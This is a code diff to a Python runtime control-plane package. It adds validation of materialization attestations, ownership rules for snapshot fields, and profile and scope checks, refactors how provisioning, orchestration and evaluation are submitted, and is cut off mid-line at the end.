a/implementations/python/packages/raes_runtime/backend_effect_transitions.py b/implementations/python/packages/raes_runtime/backend_effect_transitions.py index f558d4036..6fc57ddb0 100644 --- a/implementations/python/packages/raes_runtime/backend_effect_transitions.py +++ b/implementations/python/packages/raes_runtime/backend_effect_transitions.py @@ -97,6 +97,11 @@ def _runtime_owned_violation( not snapshot_values_equal(getattr(previous, name), getattr(actual, name)) for name in _REALIZATION_FIELDS ) checks = ( + ( + not snapshot_values_equal(actual.materialization_attestations, previous.materialization_attestations), + "runtime.snapshot.materialization-attestations", + "Backend changed runtime-owned materialization archive references.", + ), ( not snapshot_values_equal(actual.metadata, previous.metadata), "runtime.snapshot.metadata", diff --git a/implementations/python/packages/raes_runtime/backend_input_contracts.py b/implementations/python/packages/raes_runtime/backend_input_contracts.py index b439e7f0a..c03e69e76 100644 --- a/implementations/python/packages/raes_runtime/backend_input_contracts.py +++ b/implementations/python/packages/raes_runtime/backend_input_contracts.py @@ -5,6 +5,8 @@ from dataclasses import is_dataclass from pydantic import BaseModel +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan from raes_contracts.realization_structure import validate_realization_value from raes_contracts.runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS @@ -42,4 +44,21 @@ def backend_input_violation( python_carriers=True, ).conformant: return "Backend call input exceeds the admitted portable value bounds." + if isinstance(value, (ProvisioningPlan, OrchestrationPlan, EvaluationPlan)): + invalid = _operation_plan_violation(value) + if invalid: + return invalid return None + + +def _operation_plan_violation(value: ProvisioningPlan | OrchestrationPlan | EvaluationPlan) -> str | None: + invalid = None + if type(value.augmentation_scope_required) is not bool: + invalid = "Operation plan scope authorization must be a canonical boolean." + elif not isinstance(value.diagnostics, (list, tuple)) or any( + not isinstance(diagnostic, Diagnostic) or diagnostic.is_error for diagnostic in value.diagnostics + ): + invalid = "An invalid operation plan cannot authorize backend execution." + elif value.purpose != "execution": + invalid = "A descriptive inspection plan cannot authorize backend execution." + return invalid diff --git a/implementations/python/packages/raes_runtime/backend_materialization.py b/implementations/python/packages/raes_runtime/backend_materialization.py new file mode 100644 index 000000000..cc687d1b4 --- /dev/null +++ b/implementations/python/packages/raes_runtime/backend_materialization.py @@ -0,0 +1,128 @@ +"""Negotiated attestation admission and protected archive publication after apply.""" + +from __future__ import annotations + +from dataclasses import replace +from typing import cast + +from raes_backend_protocols.capabilities import BackendManifest +from raes_contracts.augmentation_scope import AUGMENTATION_SCOPE_CONTRACT +from raes_contracts.materialization import ( + MATERIALIZATION_ATTESTATION_CONTRACT, + MaterializationArchive, + MaterializationSource, +) +from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot +from raes_processor.planner import admit_materialization_submission, validate_materialization_archive_record +from raes_processor.planner.augmentation_admission import validate_actual_augmentation + +from .backend_realization_authority import _RealizationApplyContext +from .diagnostics import _failure_diagnostic + + +def materialization_precondition( + context: _RealizationApplyContext, archive: MaterializationArchive | None +) -> str | None: + request, manifest = context.operation_plan, context.manifest + if request is None: + return None + try: + source, required = _bound_scope_requirement(request) + except (AttributeError, TypeError, ValueError): + return "Materialization reporting requires valid bound source context." + return _materialization_support_error(source, required, manifest, archive) + + +def _bound_scope_requirement( + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, +) -> tuple[MaterializationSource | None, bool]: + source = getattr(request, "materialization_source", None) + required = getattr(request, "augmentation_scope_required", False) + if source is not None: + source = MaterializationSource.model_validate(source.model_dump(mode="json")) + required = required or source.augmentation_scope_required + return source, required + + +def _materialization_support_error( + source: MaterializationSource | None, + required: bool, + manifest: BackendManifest | None, + archive: MaterializationArchive | None, +) -> str | None: + scope_negotiated = manifest is not None and { + AUGMENTATION_SCOPE_CONTRACT, + MATERIALIZATION_ATTESTATION_CONTRACT, + }.issubset(manifest.supported_contract_versions) + if required and (source is None or not scope_negotiated): + return "Explicit augmentation permission requires negotiated enforcement and bound source context." + negotiated = manifest is not None and MATERIALIZATION_ATTESTATION_CONTRACT in manifest.supported_contract_versions + if not negotiated and source is None: + return None + return _required_reporting_error(source, manifest, archive, negotiated) + + +def _required_reporting_error( + source: MaterializationSource | None, + manifest: BackendManifest | None, + archive: MaterializationArchive | None, + negotiated: bool, +) -> str | None: + error = None + if not negotiated or source is None or archive is None or manifest.realization_envelope is None: + error = ( + "Materialization reporting requires negotiated support, trusted source context, " + "configured identity and an archive owner." + ) + return error + + +def finalize_materialization( + raw: ApplyResult, + accepted: ApplyResult, + context: _RealizationApplyContext, + previous: RuntimeSnapshot, + archive: MaterializationArchive | None, +) -> ApplyResult: + """Publish bytes before accepted references; preserve valid cleanup on failure.""" + accepted = cast(ApplyResult, replace(accepted, materialization_attestation=None)) + if not accepted.success: + return accepted + request = context.operation_plan + source = getattr(request, "materialization_source", None) + if source is None and raw.materialization_attestation is None: + return accepted + try: + if source is None or raw.materialization_attestation is None or archive is None or context.manifest is None: + raise ValueError("missing negotiated materialization result") + admitted = admit_materialization_submission( + raw.materialization_attestation, request, context.manifest, previous, raw.snapshot + ) + validate_actual_augmentation(admitted, context.augmentation) + record = archive.publish(admitted.sdl) + validate_materialization_archive_record(admitted, record) + snapshot = accepted.snapshot.with_entries( + dict(accepted.snapshot.entries), + materialization_attestations=(*previous.materialization_attestations, record), + ) + except Exception: + accepted = cast( + ApplyResult, + replace( + accepted, + success=False, + diagnostics=[ + *accepted.diagnostics, + _failure_diagnostic( + "runtime.materialization-attestation-invalid", + "runtime.materialization", + "Materialization attestation or protected archival delivery failed; " + "retained resources require cleanup.", + ), + ], + ), + ) + else: + accepted = cast(ApplyResult, replace(accepted, snapshot=snapshot, materialization_attestation=admitted)) + return accepted diff --git a/implementations/python/packages/raes_runtime/backend_observation_calls.py b/implementations/python/packages/raes_runtime/backend_observation_calls.py index 5afe74a3d..7b6a45596 100644 --- a/implementations/python/packages/raes_runtime/backend_observation_calls.py +++ b/implementations/python/packages/raes_runtime/backend_observation_calls.py @@ -4,14 +4,17 @@ from collections.abc import Callable from copy import deepcopy -from dataclasses import dataclass +from dataclasses import dataclass, replace from raes_backend_protocols.capabilities import BackendManifest +from raes_contracts.augmentation_scope import AUGMENTATION_SCOPE_CONTRACT from raes_contracts.contracts import ParticipantInformationStateContextResolver +from raes_contracts.materialization import MaterializationArchive from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot +from .backend_augmentation import prepare_auxiliary_augmentation from .backend_calls import _BackendCallContext, _call_backend_apply -from .backend_realization_authority import _RealizationApplyContext +from .backend_realization_authority import _bind_submitted_plan, _RealizationApplyContext from .observation_execution import ( ObservationRuntime, execute_plan_observation_demand, @@ -29,6 +32,7 @@ class _ObservationApplyRequest: runtime: ObservationRuntime | None durable_lifecycle_available: bool = False operation_id: str | None = None + materialization_archive: MaterializationArchive | None = None @dataclass(frozen=True) @@ -37,6 +41,7 @@ class _RuntimePlanApplyRequest: execute_observation: bool = True realization: _RealizationApplyContext | None = None information_state_context_resolver: ParticipantInformationStateContextResolver | None = None + materialization_archive: MaterializationArchive | None = None def _call_backend_apply_with_observation( @@ -56,17 +61,38 @@ def _call_backend_apply_with_observation( ) if admission is not None: return ApplyResult(success=False, snapshot=deepcopy(request.snapshot), diagnostics=[admission]), None + if ( + request.manifest is not None + and AUGMENTATION_SCOPE_CONTRACT in request.manifest.supported_contract_versions + and getattr(request.plan, "observation_demands", ()) + ): + args, realization = _bind_submitted_plan( + args, realization or _RealizationApplyContext(manifest=request.manifest), request.operation_id + ) + request = replace( + request, plan=realization.operation_plan, operation_id=realization.operation_plan.operation_id + ) + diagnostics = prepare_auxiliary_augmentation(request.runtime, request.plan, request.manifest, request.snapshot) + if diagnostics: + return ApplyResult(success=False, snapshot=deepcopy(request.snapshot), diagnostics=diagnostics), None result = _call_backend_apply( method, *args, address=request.address, snapshot=request.snapshot, - realization=realization, + realization=realization or _RealizationApplyContext(manifest=request.manifest), call=_BackendCallContext( + materialization_archive=request.materialization_archive, operation_id=request.operation_id, information_state_context_resolver=information_state_context_resolver, ), ) + return _apply_observation_result(result, request) + + +def _apply_observation_result( + result: ApplyResult, request: _ObservationApplyRequest +) -> tuple[ApplyResult, PreparedObservationExecution | None]: execution = None if result.success: execution, diagnostic = execute_plan_observation_demand( @@ -78,7 +104,8 @@ def _call_backend_apply_with_observation( operation_id=request.operation_id, ) if diagnostic is not None: - result = ApplyResult( + result = replace( + result, success=False, snapshot=result.snapshot, diagnostics=[*result.diagnostics, diagnostic], @@ -86,7 +113,8 @@ def _call_backend_apply_with_observation( details=result.details, ) elif execution is not None and execution.metadata.realized_form_disclosures: - result = ApplyResult( + result = replace( + result, success=result.success, snapshot=result.snapshot, diagnostics=result.diagnostics, @@ -117,8 +145,9 @@ def _apply_runtime_plan_with_observation( snapshot, address=request.address, snapshot=snapshot, - realization=request.realization, + realization=request.realization or _RealizationApplyContext(manifest=target.manifest), call=_BackendCallContext( + materialization_archive=request.materialization_archive, information_state_context_resolver=request.information_state_context_resolver, ), ) @@ -127,6 +156,7 @@ def _apply_runtime_plan_with_observation( plan, snapshot, request=_ObservationApplyRequest( + materialization_archive=request.materialization_archive, address=request.address, snapshot=snapshot, plan=plan, diff --git a/implementations/python/packages/raes_runtime/backend_realization_authority.py b/implementations/python/packages/raes_runtime/backend_realization_authority.py index a871cadfd..ab9f5b65d 100644 --- a/implementations/python/packages/raes_runtime/backend_realization_authority.py +++ b/implementations/python/packages/raes_runtime/backend_realization_authority.py @@ -7,6 +7,7 @@ from raes_backend_protocols.capabilities import BackendManifest from raes_contracts.artifact_requirements import ArtifactAvailabilityContext +from raes_contracts.augmentation_preparation import AugmentationPreparation from raes_contracts.diagnostics import Diagnostic from raes_contracts.plan_projection import runtime_plan_digest from raes_contracts.planning import ( @@ -18,6 +19,7 @@ ) from raes_processor.models import CompiledRealizationRequirement from raes_processor.planner import realization_authority_diagnostics +from raes_processor.planner.augmentation_admission import AugmentationAdmission from .diagnostics import _failure_diagnostic @@ -34,6 +36,8 @@ class _RealizationApplyContext: resource_targets: frozenset[str] = frozenset() stop_domain: RuntimeDomain | None = None completion_plan: ProvisioningPlan | None = None + augmentation: AugmentationAdmission | None = None + expected_augmentation: AugmentationPreparation | None = None def _apply_authority_diagnostics( @@ -99,13 +103,13 @@ def _bind_submitted_plan( ) if submitted_plan is None: return args, realization - if not isinstance(submitted_plan, ProvisioningPlan): - return args, replace(realization, operation_plan=submitted_plan) bound_plan = replace( submitted_plan, operation_id=operation_id or submitted_plan.operation_id or str(uuid4()), ) bound_args = tuple(bound_plan if arg is submitted_plan else arg for arg in args) + if not isinstance(submitted_plan, ProvisioningPlan): + return bound_args, replace(realization, operation_plan=bound_plan) if realization.plan is None or realization.plan is submitted_plan: realization = replace(realization, plan=bound_plan) else: diff --git a/implementations/python/packages/raes_runtime/backend_result_diagnostics.py b/implementations/python/packages/raes_runtime/backend_result_diagnostics.py index 7ff752a68..4a4f65845 100644 --- a/implementations/python/packages/raes_runtime/backend_result_diagnostics.py +++ b/implementations/python/packages/raes_runtime/backend_result_diagnostics.py @@ -31,10 +31,11 @@ def _backend_call_failed(address: str, exc: Exception) -> Diagnostic: + del exc return _failure_diagnostic( "runtime.backend-call-failed", address, - f"Backend method '{address}' did not complete ({type(exc).__name__}).", + "Backend method did not complete.", ) diff --git a/implementations/python/packages/raes_runtime/backend_snapshot_contracts.py b/implementations/python/packages/raes_runtime/backend_snapshot_contracts.py index b6de2b8d1..d870736b3 100644 --- a/implementations/python/packages/raes_runtime/backend_snapshot_contracts.py +++ b/implementations/python/packages/raes_runtime/backend_snapshot_contracts.py @@ -33,7 +33,13 @@ "participant_behavior_history": "participant", "participant_control_history": "participant", "participant_crossing_history": "participant", + # RUN-320 control state: the runtime composes and commits it, and a + # participant backend result may never add, drop or rewrite a record. + "participant_control_evaluation_history": "runtime", + "mixed_composition_states": "runtime", + "mixed_composition_history": "runtime", "information_state_history": "participant", + "participant_outcome_history": "control_plane", "participant_autonomous_execution_states": "participant", "participant_execution_services": "participant", "participant_resource_budget_states": "runtime", @@ -45,6 +51,7 @@ "time_management_contexts": "participant", } SNAPSHOT_VALUE_OWNERS = { + "materialization_attestations": "runtime", "time_model_state": "time", "realization_provenance": "runtime", "realization_observations": "observation", diff --git a/implementations/python/packages/raes_runtime/control_plane.py b/implementations/python/packages/raes_runtime/control_plane.py index 217f2a625..d30b1fe68 100644 --- a/implementations/python/packages/raes_runtime/control_plane.py +++ b/implementations/python/packages/raes_runtime/control_plane.py @@ -1,15 +1,13 @@ -"""Reference async-style control plane over runtime targets. -Expose schema-oriented runtime execution as eagerly completed operations over an async-compatible API. -""" +"""Reference async-style control plane over runtime targets.""" from __future__ import annotations -from collections.abc import Callable, Mapping +from collections.abc import Callable +from copy import deepcopy from threading import RLock -from typing import TypeVar +from typing import TypeVar, Unpack -from raes_contracts.contracts import ParticipantInformationStateContextResolver -from raes_contracts.manifest_authority import PARTICIPANT_RUNTIME_POLICY_FEATURES +from raes_contracts.diagnostics import Diagnostic from raes_contracts.planning import ( EvaluationPlan, OrchestrationPlan, @@ -23,14 +21,15 @@ RuntimeSnapshot, RuntimeSnapshotEnvelope, ) -from raes_contracts.vocabulary import ParticipantFeatureSupportLevel -from raes_processor.models import ParticipantBehaviorSpecificationRuntime from .control_plane_admission import RuntimeAdmissionMixin +from .control_plane_composition import compose_participant_boundary +from .control_plane_configuration import ControlPlaneConfiguration, ControlPlaneOptions from .control_plane_durability import RuntimeDurabilityMixin from .control_plane_execution import ( OperationExecutionRequest, execute_operation, + reject_new_operation_if_admission_fails, ) from .control_plane_lifecycle import RuntimeLifecycleMixin, runtime_owned, store_authoritative_state from .control_plane_mutation import ( @@ -40,141 +39,179 @@ mutation_entry, ) from .control_plane_operation_context import ( + legacy_operation_request_commitment, + operation_actor_scope, operation_admission_context, operation_idempotency_fingerprint, operation_requires_ephemeral_retry_proof, + runtime_target_scope, ) from .control_plane_plan_authorization import RuntimePlanAuthorizationMixin +from .control_plane_profiles import ( + CORE_CAPABILITIES, + ControlPlaneProfile, + ControlPlaneProfileDeclaration, + require_profile_capabilities, + select_profile, + store_capabilities, +) +from .control_plane_recovery import RuntimeRecoveryMixin, reconcile_startup_operations from .control_plane_store import ( AuditEvent, ControlPlaneOperationRecord, ControlPlaneStore, + IdempotencyClaimIdentity, InMemoryControlPlaneStore, + RuntimeAdmittedControlPlaneStore, SnapshotState, + require_operation_record_scopes, ) from .control_plane_store_compatibility import adapt_control_plane_store from .control_plane_submission import control_plane_plan_diagnostics from .control_plane_workflow_control import WorkflowControlMixin +from .mixed_runtime import MixedRuntimeMixin +from .mixed_runtime_recovery import validate_restored_mixed_crossing_cut from .observation_execution import ObservationExecution from .observation_results import observation_execution_from_payload from .operational_apparatus import operational_apparatus_summary from .participant_control import ParticipantControlMixin -from .participant_crossing_mediation import ( - ParticipantCrossingPolicyResolver, - validate_persisted_crossing_history, -) from .participant_information_state_validation import require_participant_information_state_snapshot from .participant_retrieval import ParticipantRetrievalMixin from .registry import RuntimeTarget as _RuntimeTarget _ProjectionT = TypeVar("_ProjectionT") +_P0_SCOPE_BOUND_ERROR = "control-plane profile P0 missing capabilities: store.scope-bound" -def _require_crossing_policy_configuration( - target: _RuntimeTarget, - resolver: ParticipantCrossingPolicyResolver | None, -) -> None: - capabilities = target.manifest.participant_runtime - if capabilities is None: - return - enabled_policy_features = { - declaration.feature - for declaration in capabilities.feature_support - if declaration.feature in PARTICIPANT_RUNTIME_POLICY_FEATURES - and declaration.support_level != ParticipantFeatureSupportLevel.UNSUPPORTED - } - if enabled_policy_features and resolver is None: - features = ", ".join(sorted(enabled_policy_features)) - raise ValueError(f"participant policy capabilities require a crossing policy resolver: {features}") - - -def _require_final_sink_flow_control_configuration( - resolver: ParticipantCrossingPolicyResolver | None, - enforce_final_sink_flow_control: bool, -) -> None: - """Reject a policy resolver that cannot resolve the SEM-233 final-sink permit. - - Final-sink enforcement is fail-closed by default: a control plane that - governs participant crossings must resolve a fresh exact-cut SEM-233 permit - immediately before every effect. A resolver without ``resolve_flow_sink_decision`` - cannot, so the control plane refuses to construct rather than silently - admitting effects with no final-sink decision. A deployment that intentionally - runs the legacy API-423-only path passes ``enforce_final_sink_flow_control=False``. - """ - - if not enforce_final_sink_flow_control or resolver is None: - return - if not callable(getattr(resolver, "resolve_flow_sink_decision", None)): - raise ValueError( - "participant final-sink flow-control enforcement requires the crossing policy " - "resolver to implement resolve_flow_sink_decision; pass " - "enforce_final_sink_flow_control=False to run the legacy API-423-only path" +def _unavailable_backend_diagnostics(domain: RuntimeDomain, component: str) -> list[Diagnostic]: + return [ + Diagnostic( + code="runtime.control-plane.rejected", + domain="runtime", + address=f"runtime.control-plane.{domain.value}", + message=f"Target does not provide {component}.", ) + ] + + +def _unavailable_backend(*_args: object, **_kwargs: object) -> object: + raise AssertionError("an unavailable backend cannot be invoked") + + +def _prepare_control_plane_store( + config: ControlPlaneConfiguration, +) -> tuple[ControlPlaneProfileDeclaration | None, ControlPlaneStore]: + if config.store is not None and config.initial_snapshot is not None: + raise ValueError("initial_snapshot cannot be combined with an explicit store") + declaration = select_profile(config.profile) if config.profile is not None else None + if declaration is not None and declaration.profile is ControlPlaneProfile.P2: + raise ValueError("P2 is selected by the HTTP composition over a P1 core") + store = config.store if config.store is not None else InMemoryControlPlaneStore(config.initial_snapshot) + if declaration is not None: + _require_selected_store_capabilities(declaration, store) + return declaration, store + + +def _require_selected_store_capabilities(declaration: ControlPlaneProfileDeclaration, store: ControlPlaneStore) -> None: + require_profile_capabilities(declaration, CORE_CAPABILITIES | store_capabilities(store)) + if declaration.profile is ControlPlaneProfile.P0 and not callable(getattr(store, "bind_scope", None)): + raise TypeError(_P0_SCOPE_BOUND_ERROR) + if declaration.profile is ControlPlaneProfile.P1 and not isinstance(store, RuntimeAdmittedControlPlaneStore): + raise TypeError("control-plane profile P1 missing capabilities: store.owner-lease") class RuntimeControlPlane( RuntimeLifecycleMixin, + RuntimeRecoveryMixin, RuntimePlanAuthorizationMixin, RuntimeDurabilityMixin, RuntimeAdmissionMixin, WorkflowControlMixin, ParticipantControlMixin, ParticipantRetrievalMixin, + MixedRuntimeMixin, ): """Reference control plane for async runtime submission and observation.""" def __init__( self, target: _RuntimeTarget, - *, - initial_snapshot: RuntimeSnapshot | None = None, - store: ControlPlaneStore | None = None, - behavior_specifications: Mapping[str, ParticipantBehaviorSpecificationRuntime] | None = None, - crossing_policy_resolver: ParticipantCrossingPolicyResolver | None = None, - information_state_context_resolver: ParticipantInformationStateContextResolver | None = None, - enforce_final_sink_flow_control: bool = True, + **options: Unpack[ControlPlaneOptions], ) -> None: + config = ControlPlaneConfiguration(**options) + target_scope = runtime_target_scope(target.name) + declaration, selected_store = _prepare_control_plane_store(config) + self._profile_declaration = declaration self._initialize_runtime_lifecycle() - if store is not None and initial_snapshot is not None: - raise ValueError("initial_snapshot cannot be combined with an explicit store") - _require_crossing_policy_configuration(target, crossing_policy_resolver) - _require_final_sink_flow_control_configuration(crossing_policy_resolver, enforce_final_sink_flow_control) + self._flow_sink_resolver = compose_participant_boundary(target, config) self._target = target - self._enforce_final_sink_flow_control = enforce_final_sink_flow_control - self._store = store or InMemoryControlPlaneStore(initial_snapshot) + self._target_scope, self._run_scope = target_scope, config.run_scope + self._mixed_runtime = config.mixed_runtime + self._materialization_archive = config.materialization_archive + self._enforce_final_sink_flow_control = config.enforce_final_sink_flow_control + self._store = selected_store try: self._mutation_authority = RuntimeMutationAuthority() self._operation_lock = RLock() self._snapshot_projection_depth = 0 self._store_commits = adapt_control_plane_store(self._store) - acquire_runtime_lease = getattr(self._store, "acquire_runtime_lease", None) - if callable(acquire_runtime_lease): - self._runtime_lease = acquire_runtime_lease() - self._snapshot_state = self._store.load_snapshot_state() - self._operations: dict[str, ControlPlaneOperationRecord] = self._store.load_records() - self._behavior_specifications = dict(behavior_specifications or {}) - self._crossing_policy_resolver = crossing_policy_resolver - self._information_state_context_resolver = information_state_context_resolver - self._ephemeral_idempotency_fingerprints: dict[str, str] = {} - self._participant_control_lock = SubordinateMutationGate(self._mutation_authority) - self._trusted_runtime_plan_lock = RLock() - self._trusted_runtime_plan_digests: set[str] = set() - require_participant_information_state_snapshot( - self._snapshot, - information_state_context_resolver, - ) - if self._snapshot.participant_crossing_history: - if crossing_policy_resolver is None: - raise ValueError("persisted participant crossing history requires a policy resolver") - validate_persisted_crossing_history(self._snapshot, crossing_policy_resolver) + self._admit_store_owner() + self._restore_persisted_state(config) + reconcile_startup_operations(self) + self._runtime_ready = True except BaseException: self.close() raise + def _admit_store_owner(self) -> None: + if self._profile_declaration is not None and self._profile_declaration.profile is ControlPlaneProfile.P0: + scope_binder = getattr(self._store, "bind_scope", None) + if not callable(scope_binder): + raise TypeError(_P0_SCOPE_BOUND_ERROR) + owner = scope_binder(target_scope=self._target_scope, run_scope=self._run_scope) + if not callable(getattr(owner, "assert_owner", None)) or not callable(getattr(owner, "close", None)): + close = getattr(owner, "close", None) + if callable(close): + close() + raise TypeError(_P0_SCOPE_BOUND_ERROR) + self._runtime_lease = owner + if isinstance(self._store, RuntimeAdmittedControlPlaneStore): + self._runtime_lease = self._store.admit_runtime( + target_scope=self._target_scope, + run_scope=self._run_scope, + ) + + def _restore_persisted_state(self, config: ControlPlaneConfiguration) -> None: + self._participant_outcome_model = deepcopy(config.participant_outcome_model) + self._snapshot_state = self._store.load_snapshot_state() + self._operations: dict[str, ControlPlaneOperationRecord] = self._store.load_records() + require_operation_record_scopes(self._operations, target_scope=self._target_scope, run_scope=self._run_scope) + self._behavior_specifications = dict(config.behavior_specifications or {}) + self._crossing_policy_resolver = config.crossing_policy_resolver + self._information_state_context_resolver = config.information_state_context_resolver + self._participant_control = config.participant_control + self._ephemeral_idempotency_fingerprints: dict[IdempotencyClaimIdentity, str] = {} + self._participant_control_lock = SubordinateMutationGate(self._mutation_authority) + self._trusted_runtime_plan_lock = RLock() + self._trusted_runtime_plan_digests: set[str] = set() + require_participant_information_state_snapshot(self._snapshot, config.information_state_context_resolver) + if self._snapshot.participant_crossing_history: + if config.crossing_policy_resolver is None: + raise ValueError("persisted participant crossing history requires a policy resolver") + validate_restored_mixed_crossing_cut(self, config.crossing_policy_resolver) + @property def _snapshot(self) -> RuntimeSnapshot: return self._snapshot_state.snapshot + @property + @runtime_owned + def profile_declaration(self) -> ControlPlaneProfileDeclaration | None: + """The selected core profile, or no claim for a legacy composition.""" + + self._assert_runtime_owner() + return self._profile_declaration + @_snapshot.setter def _snapshot(self, snapshot: RuntimeSnapshot) -> None: self._snapshot_state = SnapshotState( @@ -279,41 +316,27 @@ def submit_provisioning( if operation_requires_ephemeral_retry_proof(request=plan, base_snapshot=base_snapshot) else None ) - existing = self._idempotent_receipt( + request = OperationExecutionRequest( + domain=RuntimeDomain.PROVISIONING, + method=self._target.provisioner.apply, + plan=plan, + address="runtime.control-plane.provisioning", + diagnostics=[], + validation_method=(self._target.provisioner.validate if plan.preparation is None else None), + base_snapshot=base_snapshot, idempotency_key=idempotency_key, request_fingerprint=context.request_commitment, context=context, - exact_retry_fingerprint=exact_retry_fingerprint, - ) - if existing is not None: - return existing - self._require_observed_base_snapshot(base_snapshot) - diagnostics = control_plane_plan_diagnostics(self, plan, RuntimeDomain.PROVISIONING) - if diagnostics: - return self._reject_diagnostics( - domain=RuntimeDomain.PROVISIONING, - diagnostics=diagnostics, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - ) - return execute_operation( - self, - OperationExecutionRequest( - domain=RuntimeDomain.PROVISIONING, - method=self._target.provisioner.apply, - plan=plan, - address="runtime.control-plane.provisioning", - diagnostics=[], - validation_method=(self._target.provisioner.validate if plan.preparation is None else None), + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.PROVISIONING, + request=plan, base_snapshot=base_snapshot, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - exact_retry_fingerprint=exact_retry_fingerprint, - admission_diagnostics=lambda: control_plane_plan_diagnostics(self, plan, RuntimeDomain.PROVISIONING), ), + exact_retry_fingerprint=exact_retry_fingerprint, + admission_diagnostics=lambda: control_plane_plan_diagnostics(self, plan, RuntimeDomain.PROVISIONING), ) + denied_or_replay = reject_new_operation_if_admission_fails(self, request) + return denied_or_replay or execute_operation(self, request) @runtime_owned @mutation_entry(OperationKind.ORCHESTRATION) @@ -344,52 +367,31 @@ def submit_orchestration( if operation_requires_ephemeral_retry_proof(request=plan, base_snapshot=base_snapshot) else None ) - existing = self._idempotent_receipt( + orchestrator = self._target.orchestrator + request = OperationExecutionRequest( + domain=RuntimeDomain.ORCHESTRATION, + method=_unavailable_backend if orchestrator is None else orchestrator.start, + plan=plan, + address="runtime.control-plane.orchestration", + diagnostics=[], + base_snapshot=base_snapshot, idempotency_key=idempotency_key, request_fingerprint=context.request_commitment, context=context, + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.ORCHESTRATION, + request=plan, + base_snapshot=base_snapshot, + ), exact_retry_fingerprint=exact_retry_fingerprint, + admission_diagnostics=( + (lambda: _unavailable_backend_diagnostics(RuntimeDomain.ORCHESTRATION, "an orchestrator")) + if orchestrator is None + else lambda: control_plane_plan_diagnostics(self, plan, RuntimeDomain.ORCHESTRATION) + ), ) - if existing is not None: - return existing - self._require_observed_base_snapshot(base_snapshot) - if self._target.orchestrator is None: - receipt = self._reject_submission( - domain=RuntimeDomain.ORCHESTRATION, - message="Target does not provide an orchestrator.", - request_fingerprint=context.request_commitment, - context=context, - ) - else: - diagnostics = control_plane_plan_diagnostics(self, plan, RuntimeDomain.ORCHESTRATION) - if diagnostics: - receipt = self._reject_diagnostics( - domain=RuntimeDomain.ORCHESTRATION, - diagnostics=diagnostics, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - ) - else: - receipt = execute_operation( - self, - OperationExecutionRequest( - domain=RuntimeDomain.ORCHESTRATION, - method=self._target.orchestrator.start, - plan=plan, - address="runtime.control-plane.orchestration", - diagnostics=[], - base_snapshot=base_snapshot, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - exact_retry_fingerprint=exact_retry_fingerprint, - admission_diagnostics=lambda: control_plane_plan_diagnostics( - self, plan, RuntimeDomain.ORCHESTRATION - ), - ), - ) - return receipt + denied_or_replay = reject_new_operation_if_admission_fails(self, request) + return denied_or_replay or execute_operation(self, request) @runtime_owned @mutation_entry(OperationKind.EVALUATION) @@ -420,60 +422,60 @@ def submit_evaluation( if operation_requires_ephemeral_retry_proof(request=plan, base_snapshot=base_snapshot) else None ) - existing = self._idempotent_receipt( + evaluator = self._target.evaluator + request = OperationExecutionRequest( + domain=RuntimeDomain.EVALUATION, + method=_unavailable_backend if evaluator is None else evaluator.start, + plan=plan, + address="runtime.control-plane.evaluation", + diagnostics=[], + base_snapshot=base_snapshot, idempotency_key=idempotency_key, request_fingerprint=context.request_commitment, context=context, + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.EVALUATION, + request=plan, + base_snapshot=base_snapshot, + ), exact_retry_fingerprint=exact_retry_fingerprint, + admission_diagnostics=( + (lambda: _unavailable_backend_diagnostics(RuntimeDomain.EVALUATION, "an evaluator")) + if evaluator is None + else lambda: control_plane_plan_diagnostics(self, plan, RuntimeDomain.EVALUATION) + ), ) - if existing is not None: - return existing - self._require_observed_base_snapshot(base_snapshot) - if self._target.evaluator is None: - receipt = self._reject_submission( - domain=RuntimeDomain.EVALUATION, - message="Target does not provide an evaluator.", - request_fingerprint=context.request_commitment, - context=context, - ) - else: - diagnostics = control_plane_plan_diagnostics(self, plan, RuntimeDomain.EVALUATION) - if diagnostics: - receipt = self._reject_diagnostics( - domain=RuntimeDomain.EVALUATION, - diagnostics=diagnostics, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - ) - else: - receipt = execute_operation( - self, - OperationExecutionRequest( - domain=RuntimeDomain.EVALUATION, - method=self._target.evaluator.start, - plan=plan, - address="runtime.control-plane.evaluation", - diagnostics=[], - base_snapshot=base_snapshot, - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - exact_retry_fingerprint=exact_retry_fingerprint, - admission_diagnostics=lambda: control_plane_plan_diagnostics( - self, plan, RuntimeDomain.EVALUATION - ), - ), - ) - return receipt + denied_or_replay = reject_new_operation_if_admission_fails(self, request) + return denied_or_replay or execute_operation(self, request) @runtime_owned - def get_operation(self, operation_id: str) -> OperationStatus | None: + def get_operation( + self, + operation_id: str, + *, + identity: object | None = None, + ) -> OperationStatus | None: self._assert_runtime_owner() with self._operation_lock: self._operations = self._store.load_records() record = self._operations.get(operation_id) - return None if record is None else record.status + if record is None or not self._operation_read_allowed(record, identity): + return None + return record.status + + def _operation_read_allowed( + self, + record: ControlPlaneOperationRecord, + identity: object | None, + ) -> bool: + if identity is None: + return True + target_name = getattr(identity, "target_name", None) + if target_name is not None and target_name != self._target.name: + return False + actor_id, authorization_scope = operation_actor_scope(identity) + context = record.status.context + return (actor_id, authorization_scope) == (context.actor_id, context.authorization_scope) @runtime_owned def observation_execution(self, operation_id: str) -> ObservationExecution | None: @@ -481,6 +483,7 @@ def observation_execution(self, operation_id: str) -> ObservationExecution | Non self._assert_runtime_owner() with self._operation_lock: + self._operations = self._store.load_records() record = self._operations.get(operation_id) return observation_execution_from_payload(None if record is None else record.result_payload) @@ -490,7 +493,3 @@ def get_snapshot(self) -> RuntimeSnapshotEnvelope: with self._operation_lock: self._reload_derived_state_if_unpinned() return RuntimeSnapshotEnvelope(snapshot=self._snapshot) - - def _require_observed_base_snapshot(self, 